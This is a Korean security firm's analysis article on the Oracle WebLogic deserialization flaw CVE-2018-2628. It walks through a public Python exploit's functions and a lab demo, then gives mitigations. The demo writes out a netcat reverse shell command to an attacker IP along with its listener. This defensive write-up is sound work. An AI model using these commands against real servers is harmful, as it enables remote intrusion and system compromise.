보안정보

전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.

CVE-2018-2628 : Oracle WebLogic RCE Deserialization Vulnerability

2018.06.05

19,279

서비스사업본부 보안분석팀 전경훈


1. 개요

지난 4월 Oracle WebLogic 서버의 RMI(Remote Method Invocation) 레지스트리를 역 직렬화(Deserialization)1)로 원격 코드를 실행(RCE : Remote code execution)하게 할 수 있는 취약점(CVE-2018-2628)이 확인되었다. 해당 취약점은 지난 2018년 4월 18일, 4월 정기 보안 업데이트를 통해 패치 되었으며 우회가 가능한 방법 또한 공개되었으나 아직 Oracle에서는 [그림 1] 패치 되지 않은 것으로 확인되었다. (2018.05.03 기준) 
공격방법은 단순하고, 파급에 따른 피해가 클 것으로 예상됨에 따라, 본 취약점에 대해 분석하고 시나리오에 따른 공격을 시연해 보았다.


[그림 1] 아직까지 패치가 되지 않은 CVE-2018-2628


2. 취약점 관련통계 자료

[그림 2]와 같이 취약점 발생 이후 Weblogic 기본 포트(port : 7001)에 대한 스캔 시도가 급격히 늘어난 것을 확인할 수 있다.


[그림 2] Weblogic 기본 포트에 대한 날짜 별 스캔 활동


3. CVE-2018-2628

1) 영향 받는 소프트웨어


2) 취약점 공격 메커니즘

Oracle WebLogic RCE(Remote code execution) Deserialization 취약점의 핵심은 공격자가 Weblogic 서버에서 오픈해 놓은 T32) 서비스와 제작된 Java 객체를 이용해 Socket 연결을 맺고, 공격자가 조작한 패킷을 서버 측에 보내어 역 직렬화 원격 명령을 실행하는 취약점이다. 기본 포트(port : 7001)를 사용하는 서버를 대상으로 공격이 이루어지지만 다른 포트를 사용 중인 경우에도 공격된다.

[그림 3] 역 직렬화 원격 명령 실행 과정


3) 공격코드 분석 ①

먼저 T3 서비스 연결 및 Payload 전송(RMI Connection 포트 Open)에 사용될 exploit.py의 메인 함수를 확인하면 아래의 [그림 4]와 같다.


[그림 4] 메인 실행 코드 (exploit.py - main)


공격 코드는 Python언어로 개발되었으며 공격 코드를 실행할 때 입력되는 매개변수 6개(Weblogic 서버 IP, Weblogic 서버 기본 포트, ysoserial3) 경로, 공격자 IP, RMI Connection 포트, 사용 라이브러리)를 배열로 지정하여 메인 함수에서 exploit 함수에 사용할 변수로 생성한다. 그 변수를 이용해 exploit 함수가 실행되는데 다음으로 해당 함수 과정을 확인해보도록 한다.


3) 공격코드 분석 ②

exploit 함수의 코드를 확인해보면 아래의 [그림 5]와 같다. 


[그림 5] exploit 함수 (exploit.py – exploit)


exploit 함수 실행 코드의 진행 과정을 확인해보면 ⓐ~ⓒ으로 구성된다.

ⓐ T3 서비스와의 통신을 위한 Socket을 생성한다.
ⓑ 서버 정보를 따로 저장한 변수를 사용해 Socket을 이용하여 T3 서비스와 통신 및 Socket 연결을 맺는다. 
ⓒ Socket 연결이 맺어진 후에 ysoserial의 JRMPClient2 라이브러리를 사용하여 RMI Connection 포트(1099)를 오픈하는 Payload를 생성한 뒤 Weblogic Server에 Socket을 통해 Payload를 전송한다.


3) 공격코드 분석 ③

exploit 함수에서 호출되는 함수들을 보면 [그림 6~9]과 같다.
t3_handshake 함수[그림 6]은 서버정보를 통해 socket을 이용하여 T3 서비스와 통신을 위한 함수이다.


[그림 6] T3 서비스와 통신(3way handshake)을 위한 함수 (exploit.py – t3_handshake)


build_t3_request_object 함수[그림 7]은 T3 서비스와 통신 후에 socket 연결을 맺는 함수이다.


[그림 7] T3 서비스와 Socket 연결을 위한 함수 (exploit.py – bulid_t3_request_object)


3) 공격코드 분석 ④

generate_payload 함수[그림 8]은 Socket 연결이 맺어진 후에 ysoserial의 JRMPClient2 라이브러리를 사용하여 RMI Connection 포트(1099)를 오픈하는 Payload를 생성하는 함수이다.


[그림 8] payload를 생성하기 위한 함수(exploit.py – generate_payload)


send_payload_objdata 함수[그림 9]는 Weblogic Server에 Socket을 통해 Payload를 전송하는 함수이다.


[그림 9] payload 전송을 위한 함수 (exploit.py – send_payload_objdata)


3) 공격코드 분석 ⑤

공격 코드 수행 프로세스는 [그림 10]과 같다.

[그림 10] exploit.py 프로세스


4) CVE-2018-2628 공격 시나리오

테스트 환경을 통해서 CVE-2018-2628 취약점이 어떻게 실행되는지 시나리오를 통해 시연해 보기로 한다.
테스트 환경 및 시나리오는 다음과 같다.
[그림 11] 시나리오 프로세스


5) CVE-2018-2628 취약성 테스트

먼저 테스트 환경에서 해당 서버의 버전과 설정 파일의 내용을 살펴보면 [그림 12~13]과 같이 영향받는 버전(Weblogic 10.3.6.0)을 운영 중이며 기본 포트(port : 7001)를 사용 중이다. 여기서 해당 서버가 본 취약점(CVE-2018-2628)이 성립할 수 있다는 것을 확인할 수 있다.


[그림 12] 서버 버전 확인



[그림 13] Weblogic 설정파일 내용


6) CVE-2018-2628 공격 시연 ①

공개되어있는 exploit.py를 사용하여 [그림 14]과 같이 T3 서비스 연결 및 RMI Connection 포트(1099) Open을 시도한다. 여기서 ysoserial의 JRMPClient2(using java.rmi.activation.Activator) 라이브러리를 사용한다.


[그림 14] exploit.py 사용 명령


명령어 구동 후 수행결과가 [그림 15]와 같이 나타나며 T3 서비스 연결 및 RMI Connection 포트(1099) Open에 성공한 것을 확인할 수 있다. 


[그림 15] exploit.py 명령 구동 결과


6) CVE-2018-2628 공격 시연 ②

다음으로 오픈된 RMI Connection 포트(1099)를 통해 역 직렬화로 [그림 16]과 같이 원격 명령 실행을 시도한다.
여기서 ysoserial의 JRMPListener, Jdk7u21 라이브러리를 사용한다.
* 원격 실행 명령 : nc –e cmd.exe 192.168.0.16 8888 
                     (netcat을 통해 cmd 명령어 실행 + 공격자 IP로 8888포트 오픈) 
이와 동시에 해당 원격 명령 실행 여부를 확인하기 위해 [그림 17]와 같이 공격자 측에서 해당 명령을 실행한다.
* 실행 명령 : nc –l –p 8888 (netcat을 통해 8888번 포트에 대해 listening 상태로 대기)


[그림 16] RMI Connection 포트를 이용한 역 직렬화로 명령



[그림 17] 공격자 측에서 원격 명령 실행 여부를 확인하기 위한 명령


6) CVE-2018-2628 공격 시연 ③

명령 실행 결과 [그림 18]와 같이 진행 상황이 나타나며 [그림 19]을 통해 원격 명령이 정상적으로 실행되었음을 확인할 수 있다.


[그림 18] 역 직렬화로 명령 실행 진행화면



[그림 19] 원격 명령 실행 성공 화면


6) CVE-2018-2628 공격 시연 ④

원격 명령 실행으로 공격자 측에서 netcat을 이용해 리버스 텔넷이 사용된 것을 확인할 수 있으며 [그림 20]과 시스템 정보 획득을 위한 명령어 실행 결과로 시스템 정보를 획득한 것을 확인할 수 있다.


[그림 20] 리버스 텔넷을 이용한 시스템 정보 확인


6) CVE-2018-2628 공격 시연 ⑤

통신상태를 확인해보면 [그림 21]과 같이 공격자와 통신 상태인 것을 확인할 수 있다.


[그림 21] 리버스 텔넷을 이용한 통신상태 확인


exploit.py를 통한 명령 구동 이후에 Weblogic 서버에서 Weblogic이 구동되고 있는 화면을 보면 [그림 22]과 같이 RMI 통신 중 발생하는 경고 메시지가 발생하는 것을 확인할 수 있다.


[그림 22] RMI 통신 중 발생하는 경고 메시지


간단하게 CVE-2018-2628 공격을 시연해 보았는데 리버스 텔넷 이외에도 다른 원격 실행 명령어들을 통해 더욱 파급력이 큰 피해를 줄 수도 있을 것이다. 


4. 대응 방안

1) 기본 포트 변경 및 사용 포트 접근 제한 적용

CVE-2018-2628 취약점은 해당 취약점에 영향받는 Weblogic Server 버전을 사용하면서 기본 포트를 사용 중인 시스템이 대상이 되는 취약점이다. 따라서 기본 포트(port : 7001)를 사용할 경우에는 다른 포트로 변경하여 사용하도록 하며 기본 포트가 아닌 다른 포트를 사용할 경우에는 해당 포트에 대해 접근 제한을 적용하여 사용하도록 한다.


2) 최신 버전으로 업데이트

취약한 Weblogic Server 버전(Weblogic 10.3.6.0, Weblogic 12.1.3.0, Weblogic 12.2.1.2, Weblogic 12.2.1.3)을 사용할 경우에는 최신 버전으로 업데이트하여 사용할 것을 권고한다.


3) SNORT를 이용한 탐지



5. 참고자료

[1] Oracle WebLogic Server Deserialization RCE (CVE-2018-2628)
[2] 국내외 보안 동향 - Oracle WebLogic WLS 핵심모듈 역 직렬화 취약점(CVE-2018-2628)
[3] Weblogic Server T3 Protocol의 정의
https://stackoverflow.com/questions/17550358/what-is-t3-protocol-in-weblogic-server
[4] Java 객체 직렬화(Serialization)와 역 직렬화(Deserialization)
[5] Faulty Patch for Oracle WebLogic Flaw Opens Updated Servers to Hackers Again
https://thehackernews.com/2018/04/oracle-weblogic-rce-exploit.html
[6] CVE-2018-2628 Exploit Code
[7] Oracle Weblogic Server 원격 코드 실행 취약점 주의 권고
[8] 오라클, 웹로직 서버 원격 코드 취약점... 아직 패치 안돼
[9] 안전하지 않은 Java 객체 deserialization을 이용하는 페이로드를 생성하기 위한 개념 증명 도구
https://github.com/frohoff/ysoserial
[10] WebLogic Exploited in the Wild (Again)
https://isc.sans.edu/forums/diary/WebLogic+Exploited+in+the+Wild+Again/23617/


1) 역 직렬화(Deserialization) : 객체들의 데이터를 연속적인 데이터로 변형하여 스트림을 통해 데이터를 읽도록 한 직렬화 된 파일을 역으로 다시 객체의 형태로 만드는 것을 의미
2) T3 : WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜
3) ysoserial : 안전하지 않은 객체에 역 직렬화를 수행하여 Java 응용 프로그램을 악용 할 수 있는 공용 라이브러리 모음